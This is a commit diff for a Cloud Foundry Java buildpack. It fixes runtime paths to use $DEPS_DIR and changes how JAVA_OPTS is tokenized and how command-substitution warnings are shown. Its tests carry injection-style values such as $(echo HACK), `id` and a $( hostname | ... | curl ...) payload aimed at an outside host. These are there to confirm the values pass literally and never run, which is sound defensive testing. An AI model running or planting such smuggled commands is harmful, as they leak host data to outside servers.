Skip to content

Commit 6a3bce4

Browse files
committed
fix: correct jres paths, javaexec tokenization, and command-substitution warning
- jvmkill and memory-calculator now use $DEPS_DIR instead of hardcoded /home/vcap/deps so they work in non-default CF dep layouts. - javaexec tokenizer preserves $(...), ${...}, and backtick spans as single tokens (no splitting on spaces inside them). - Warning for command substitution in JAVA_OPTS now shows only the matching token, not the full JAVA_OPTS value.
1 parent a481dd5 commit 6a3bce4

6 files changed

Lines changed: 184 additions & 29 deletions

File tree

src/java/frameworks/java_opts_writer.go

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -124,6 +124,22 @@ USER_JAVA_OPTS="${USER_JAVA_OPTS//\\\$/$_escaped_dollar_placeholder}"
124124
USER_JAVA_OPTS=$(_expand_env_vars "$USER_JAVA_OPTS")
125125
USER_JAVA_OPTS="${USER_JAVA_OPTS//$_escaped_dollar_placeholder/$_dollar}"
126126
127+
# Warn if any command substitution remains in user JAVA_OPTS. It will be
128+
# passed literally to the JVM — command substitutions are never executed.
129+
# Show only the offending token, not the full value (which may be long or contain secrets).
130+
case "$USER_JAVA_OPTS" in
131+
*'$('*)
132+
_warn_match="${USER_JAVA_OPTS#*'$('}"
133+
_warn_match="\$(${_warn_match%%%%')'*})"
134+
echo "WARNING: JAVA_OPTS contains command substitution; it will NOT be executed and will be passed literally to the JVM. Matching: ${_warn_match}" >&2
135+
;;
136+
*"$_backtick"*)
137+
_warn_match="${USER_JAVA_OPTS#*"$_backtick"}"
138+
_warn_match="${_backtick}${_warn_match%%%%"$_backtick"*}${_backtick}"
139+
echo "WARNING: JAVA_OPTS contains command substitution (backtick); it will NOT be executed and will be passed literally to the JVM. Matching: ${_warn_match}" >&2
140+
;;
141+
esac
142+
127143
# Escape replacement-special chars once; these values are loop-invariant.
128144
_escaped_deps_dir="${DEPS_DIR//\\/\\\\}"
129145
_escaped_deps_dir="${_escaped_deps_dir//&/\\&}"

src/java/frameworks/java_opts_writer_test.go

Lines changed: 91 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package frameworks_test
22

33
import (
4+
"bytes"
45
"os"
56
"os/exec"
67
"path/filepath"
@@ -101,13 +102,24 @@ var _ = Describe("Java Opts Writer", func() {
101102
// This sources the profile.d assembly script to build $JAVA_OPTS, then
102103
// tokenizes it with the real launcher, returning the argument list java
103104
// would receive (one arg per line).
105+
// Stderr is captured separately so that WARNING messages from the
106+
// assembly script do not pollute the JAVA_OPTS value passed to the
107+
// tokenizer (warnings are diagnostic, not part of the value).
104108
runStartCommand := func(javaOpts string, optsFileContent string) (string, error) {
105109
scriptPath := setupScript(javaOpts, optsFileContent)
106-
assembled, err := runWithEnv(scriptPath, javaOpts, `printf '%s' "$JAVA_OPTS"`)
107-
if err != nil {
108-
return assembled, err
110+
cmd := exec.Command("bash", "-c", "source "+scriptPath+` && printf '%s' "$JAVA_OPTS"`)
111+
cmd.Env = append(os.Environ(),
112+
"JAVA_OPTS="+javaOpts,
113+
"DEPS_DIR="+depsDir,
114+
"HOME=/home/vcap/app",
115+
)
116+
var stdout, stderr bytes.Buffer
117+
cmd.Stdout = &stdout
118+
cmd.Stderr = &stderr
119+
if err := cmd.Run(); err != nil {
120+
return stderr.String() + stdout.String(), err
109121
}
110-
tokens := javaexec.TokenizeJavaOpts(assembled)
122+
tokens := javaexec.TokenizeJavaOpts(stdout.String())
111123
return strings.Join(tokens, "\n") + "\n", nil
112124
}
113125

@@ -199,6 +211,25 @@ var _ = Describe("Java Opts Writer", func() {
199211
Expect(output).To(ContainSubstring("WARNING: unresolved command substitution"))
200212
})
201213

214+
It("warning for user JAVA_OPTS command substitution shows matching token, not full value", func() {
215+
// Warning must identify the offending $(...) fragment without dumping
216+
// the entire JAVA_OPTS string (which may be long or contain secrets).
217+
// Use `true` as bashExpr so only the WARNING (stderr) appears in combined output.
218+
scriptPath := setupScript("", "$JAVA_OPTS")
219+
output, err := runWithEnv(scriptPath,
220+
`-Dsafe=before $( hostname | wc -l ) -Dsafe=after`,
221+
`true`,
222+
)
223+
Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
224+
Expect(output).To(ContainSubstring("WARNING"))
225+
// Warning shows the $(...) fragment
226+
Expect(output).To(ContainSubstring("$("))
227+
Expect(output).To(ContainSubstring("hostname"))
228+
// Warning must NOT dump the full JAVA_OPTS value
229+
Expect(output).NotTo(ContainSubstring("-Dsafe=before"))
230+
Expect(output).NotTo(ContainSubstring("-Dsafe=after"))
231+
})
232+
202233
It("does not execute command substitutions embedded in opts file content", func() {
203234
marker := filepath.Join(cacheDir, "pwned_marker")
204235
Expect(os.Remove(marker)).To(Or(Succeed(), MatchError(os.ErrNotExist)))
@@ -382,6 +413,30 @@ var _ = Describe("Java Opts Writer", func() {
382413
Expect(lines[2]).To(Equal("-Dc=a>b"))
383414
})
384415

416+
It("handles full manifest JAVA_OPTS with all edge cases (issue #1301)", func() {
417+
// Reproduces the exact manifest scenario reported by users:
418+
// JAVA_OPTS: >-
419+
// -Dfoo="bar baz"
420+
// -DcronSched="0 */7 * * * *"
421+
// -Dbar=$HOME
422+
// -Dwhere=$( hostname | tr '\n' | curl -v 'https://testasdkjfhakl.me')
423+
// -Dmyfile=c:\\first\\second\\file.txt;ext
424+
// YAML >- folds newlines to spaces, delivering this as one line.
425+
javaOpts := `-Dfoo="bar baz" -DcronSched="0 */7 * * * *" -Dbar=$HOME -Dwhere=$( hostname | tr '\n' | curl -v 'https://testasdkjfhakl.me') -Dmyfile=c:\\first\\second\\file.txt;ext`
426+
output, err := runStartCommand(javaOpts, "$JAVA_OPTS")
427+
Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
428+
lines := strings.Split(strings.TrimSpace(output), "\n")
429+
Expect(lines).To(HaveLen(5))
430+
Expect(lines[0]).To(Equal("-Dfoo=bar baz"))
431+
Expect(lines[1]).To(Equal("-DcronSched=0 */7 * * * *"))
432+
Expect(lines[2]).To(Equal("-Dbar=/home/vcap/app")) // $HOME expanded by profile.d
433+
// $( hostname | ...) passes literally as one arg — not executed, not split
434+
Expect(lines[3]).To(ContainSubstring("-Dwhere=$("))
435+
Expect(lines[3]).To(ContainSubstring("hostname"))
436+
// \\ → \ by javaexec; ; is literal
437+
Expect(lines[4]).To(Equal(`-Dmyfile=c:\first\second\file.txt;ext`))
438+
})
439+
385440
// Regression test: eval mangles .opts content containing literal double quotes.
386441
// e.g. Datadog writes -Ddd.service="myapp" into its .opts file; the inner "
387442
// terminates the outer eval "..." string, stripping the value.
@@ -396,5 +451,37 @@ var _ = Describe("Java Opts Writer", func() {
396451
Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
397452
Expect(output).To(ContainSubstring(`-Dpattern=foo\|bar`))
398453
})
454+
455+
// Expanded variable values with spaces: same POSIX rules as old eval.
456+
// Unquoted $VAR whose value contains spaces → split (javaexec treats spaces as
457+
// word separators). Double-quoted "$VAR" → one token. Quote your references.
458+
It("splits unquoted expanded $VAR with spaces into separate tokens (POSIX word-split)", func() {
459+
os.Setenv("MY_SPACED_VAR", "hello world")
460+
defer os.Unsetenv("MY_SPACED_VAR")
461+
output, err := runStartCommand(`-Dfoo=$MY_SPACED_VAR`, "$JAVA_OPTS")
462+
Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
463+
lines := strings.Split(strings.TrimSpace(output), "\n")
464+
// Unquoted: space splits into two JVM arguments, same as old eval.
465+
Expect(lines).To(HaveLen(2))
466+
Expect(lines[0]).To(Equal("-Dfoo=hello"))
467+
Expect(lines[1]).To(Equal("world"))
468+
})
469+
470+
It(`keeps double-quoted "$VAR" with spaces as one JVM argument`, func() {
471+
os.Setenv("MY_SPACED_VAR", "hello world")
472+
defer os.Unsetenv("MY_SPACED_VAR")
473+
output, err := runStartCommand(`-Dfoo="$MY_SPACED_VAR"`, "$JAVA_OPTS")
474+
Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
475+
// Double-quoted: javaexec treats the quoted region as one token.
476+
Expect(strings.TrimSpace(output)).To(Equal("-Dfoo=hello world"))
477+
})
478+
479+
It(`keeps double-quoted "$VAR" with spaces in .opts content as one JVM argument`, func() {
480+
os.Setenv("MY_SPACED_VAR", "hello world")
481+
defer os.Unsetenv("MY_SPACED_VAR")
482+
output, err := runStartCommand("", `-Dfoo="$MY_SPACED_VAR"`)
483+
Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
484+
Expect(strings.TrimSpace(output)).To(Equal("-Dfoo=hello world"))
485+
})
399486
})
400487
})

src/java/javaexec/tokenize.go

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,48 @@ func TokenizeJavaOpts(s string) []string {
6060
}
6161
b.WriteRune(runes[i])
6262
}
63+
case '$':
64+
started = true
65+
b.WriteRune(c)
66+
// Keep $(...) and ${...} as unbreakable units so that spaces inside
67+
// do not split the enclosing token. Neither is executed; both pass
68+
// literally to the JVM.
69+
if i+1 < len(runes) {
70+
next := runes[i+1]
71+
var open, close rune
72+
if next == '(' {
73+
open, close = '(', ')'
74+
} else if next == '{' {
75+
open, close = '{', '}'
76+
}
77+
if open != 0 {
78+
i++
79+
b.WriteRune(open)
80+
depth := 1
81+
for i++; i < len(runes) && depth > 0; i++ {
82+
ch := runes[i]
83+
if ch == open {
84+
depth++
85+
} else if ch == close {
86+
depth--
87+
}
88+
b.WriteRune(ch)
89+
if depth == 0 {
90+
break
91+
}
92+
}
93+
}
94+
}
95+
case '`':
96+
started = true
97+
b.WriteRune(c)
98+
// Keep `...` as one unbreakable unit (same reasoning as $(...)).
99+
for i++; i < len(runes) && runes[i] != '`'; i++ {
100+
b.WriteRune(runes[i])
101+
}
102+
if i < len(runes) {
103+
b.WriteRune('`') // closing backtick
104+
}
63105
case '\\':
64106
started = true
65107
// Unquoted backslash escapes the next character.

src/java/javaexec/tokenize_test.go

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -36,15 +36,38 @@ func TestTokenizeJavaOpts(t *testing.T) {
3636
{"semicolon literal", "-Dx=a;b", []string{"-Dx=a;b"}},
3737
{"redirect literal", "-Dx=a>b", []string{"-Dx=a>b"}},
3838

39-
// Security: command substitution is NOT executed; passed through literally.
40-
// Unquoted, the space inside splits it into two literal tokens (correct
41-
// word-splitting) — neither is executed.
42-
{"command substitution unquoted", "-Dx=$(echo HACK)", []string{"-Dx=$(echo", "HACK)"}},
39+
// Security: command substitution is NOT executed; passed through literally
40+
// as a single token so the app does not crash with "class not found".
41+
{"command substitution unquoted", "-Dx=$(echo HACK)", []string{"-Dx=$(echo HACK)"}},
42+
{"command substitution with pipe", "-Dx=$(hostname | tr a b)", []string{"-Dx=$(hostname | tr a b)"}},
43+
{"command substitution nested parens", "-Dx=$(foo (bar))", []string{"-Dx=$(foo (bar))"}},
4344
// Quoted, it stays a single literal argument and is never executed.
4445
{"command substitution quoted", `-Dx="$(echo danger)"`, []string{"-Dx=$(echo danger)"}},
4546
{"backtick literal", "-Dx=`id`", []string{"-Dx=`id`"}},
47+
{"backtick with spaces", "-Dx=`hostname -f`", []string{"-Dx=`hostname -f`"}},
48+
49+
// ${...} extended bash forms with spaces — pass literally to JVM as one token.
50+
{"brace default with spaces", "-Dx=${MY_VAR:-hello world}", []string{"-Dx=${MY_VAR:-hello world}"}},
51+
{"brace replacement with spaces", "-Dx=${MY_VAR//foo/bar baz}", []string{"-Dx=${MY_VAR//foo/bar baz}"}},
52+
{"brace simple no spaces", "-Dx=${MY_VAR}", []string{"-Dx=${MY_VAR}"}},
53+
{"brace nested braces in pattern", "-Dx=${MY_VAR//foo{bar}/baz qux}", []string{"-Dx=${MY_VAR//foo{bar}/baz qux}"}},
54+
{"brace assign default with spaces", "-Dx=${MY_VAR:=hello world}", []string{"-Dx=${MY_VAR:=hello world}"}},
4655
{"dollar var literal", "-Dx=$HOME", []string{"-Dx=$HOME"}},
4756

57+
// Full manifest scenario (issue #1301 reproducer with all edge cases):
58+
// -Dfoo="bar baz" -DcronSched="0 */7 * * * *" -Dbar=$HOME
59+
// -Dwhere=$( hostname | tr '\n' | curl -v 'https://example.me')
60+
// -Dmyfile=c:\\first\\second\\file.txt;ext
61+
// $HOME is already expanded by profile.d before javaexec sees it.
62+
{"full manifest scenario", `-Dfoo="bar baz" -DcronSched="0 */7 * * * *" -Dbar=/home/vcap/app -Dwhere=$( hostname | tr '\n' | curl -v 'https://example.me') -Dmyfile=c:\\first\\second\\file.txt;ext`,
63+
[]string{
64+
"-Dfoo=bar baz",
65+
"-DcronSched=0 */7 * * * *",
66+
"-Dbar=/home/vcap/app",
67+
`-Dwhere=$( hostname | tr '\n' | curl -v 'https://example.me')`,
68+
`-Dmyfile=c:\first\second\file.txt;ext`,
69+
}},
70+
4871
// Backslash follows POSIX shell rules (parity with previous eval form):
4972
// unquoted backslash escapes the next character.
5073
{"escaped space joins", `a\ b`, []string{"a b"}},

src/java/jres/jvmkill.go

Lines changed: 4 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -176,20 +176,13 @@ func (j *JVMKillAgent) Finalize() error {
176176
return nil
177177
}
178178

179-
// convertToRuntimePath converts absolute staging path to runtime absolute path
180-
// Example: /tmp/contents.../deps/<idx>/jre/bin/jvmkill-1.16.0.so -> /home/vcap/deps/<idx>/jre/bin/jvmkill-1.16.0.so
181-
// Note: We use absolute path instead of $DEPS_DIR because startup scripts run before .profile.d scripts
182-
// are sourced, so $DEPS_DIR is not yet available at runtime.
179+
// convertToRuntimePath converts a staging path to a runtime path using $DEPS_DIR.
180+
// The path ends up in a .opts file that is read by the profile.d assembly script,
181+
// which expands $DEPS_DIR before passing the value to the JVM.
183182
func (j *JVMKillAgent) convertToRuntimePath(stagingPath string) string {
184-
// Extract filename and build runtime path
185-
// We know the structure: <staging-path>/deps/<idx>/jre/bin/jvmkill-VERSION.so
186-
// Runtime path: /home/vcap/deps/<idx>/jre/bin/jvmkill-VERSION.so
187-
188183
depsIdx := j.ctx.Stager.DepsIdx()
189184
filename := filepath.Base(stagingPath)
190-
191-
// Build absolute runtime path (Cloud Foundry standard location)
192-
return fmt.Sprintf("/home/vcap/deps/%s/jre/bin/%s", depsIdx, filename)
185+
return fmt.Sprintf("$DEPS_DIR/%s/jre/bin/%s", depsIdx, filename)
193186
}
194187

195188
// getHeapDumpPath checks for volume service with heap-dump tag and returns path

src/java/jres/memory_calculator.go

Lines changed: 4 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -355,24 +355,18 @@ func (m *MemoryCalculator) GetCalculatorCommand() string {
355355
return fmt.Sprintf(`CALCULATED_MEMORY=$(%s) && echo JVM Memory Configuration: $CALCULATED_MEMORY && JAVA_OPTS="$JAVA_OPTS $CALCULATED_MEMORY" && MALLOC_ARENA_MAX=2`, calcCmd)
356356
}
357357

358-
// convertToRuntimePath converts a staging path to a runtime path
359-
// Example: /tmp/staging/deps/0/jre/bin/calculator -> /home/vcap/deps/0/jre/bin/calculator
358+
// convertToRuntimePath converts a staging path to a runtime path using $DEPS_DIR.
359+
// Example: /tmp/staging/deps/0/jre/bin/calculator -> $DEPS_DIR/0/jre/bin/calculator
360360
func (m *MemoryCalculator) convertToRuntimePath(stagingPath string) string {
361361
depsIdx := m.ctx.Stager.DepsIdx()
362362

363-
// Extract the relative path from deps/<idx>/ onwards
364-
// stagingPath: /tmp/.../deps/<idx>/jre/bin/java-buildpack-memory-calculator-X.X.X
365-
// We want: /home/vcap/deps/<idx>/jre/bin/java-buildpack-memory-calculator-X.X.X
366-
367-
// Find "jre/bin/" in the path
368363
if idx := strings.Index(stagingPath, "jre/bin/"); idx != -1 {
369364
relativePath := stagingPath[idx:]
370-
return fmt.Sprintf("/home/vcap/deps/%s/%s", depsIdx, relativePath)
365+
return fmt.Sprintf("$DEPS_DIR/%s/%s", depsIdx, relativePath)
371366
}
372367

373-
// Fallback: just use the filename
374368
filename := filepath.Base(stagingPath)
375-
return fmt.Sprintf("/home/vcap/deps/%s/jre/bin/%s", depsIdx, filename)
369+
return fmt.Sprintf("$DEPS_DIR/%s/jre/bin/%s", depsIdx, filename)
376370
}
377371

378372
// openJDKJREConfig mirrors the memory_calculator section of JBP_CONFIG_OPEN_JDK_JRE.

0 commit comments

Comments
 (0)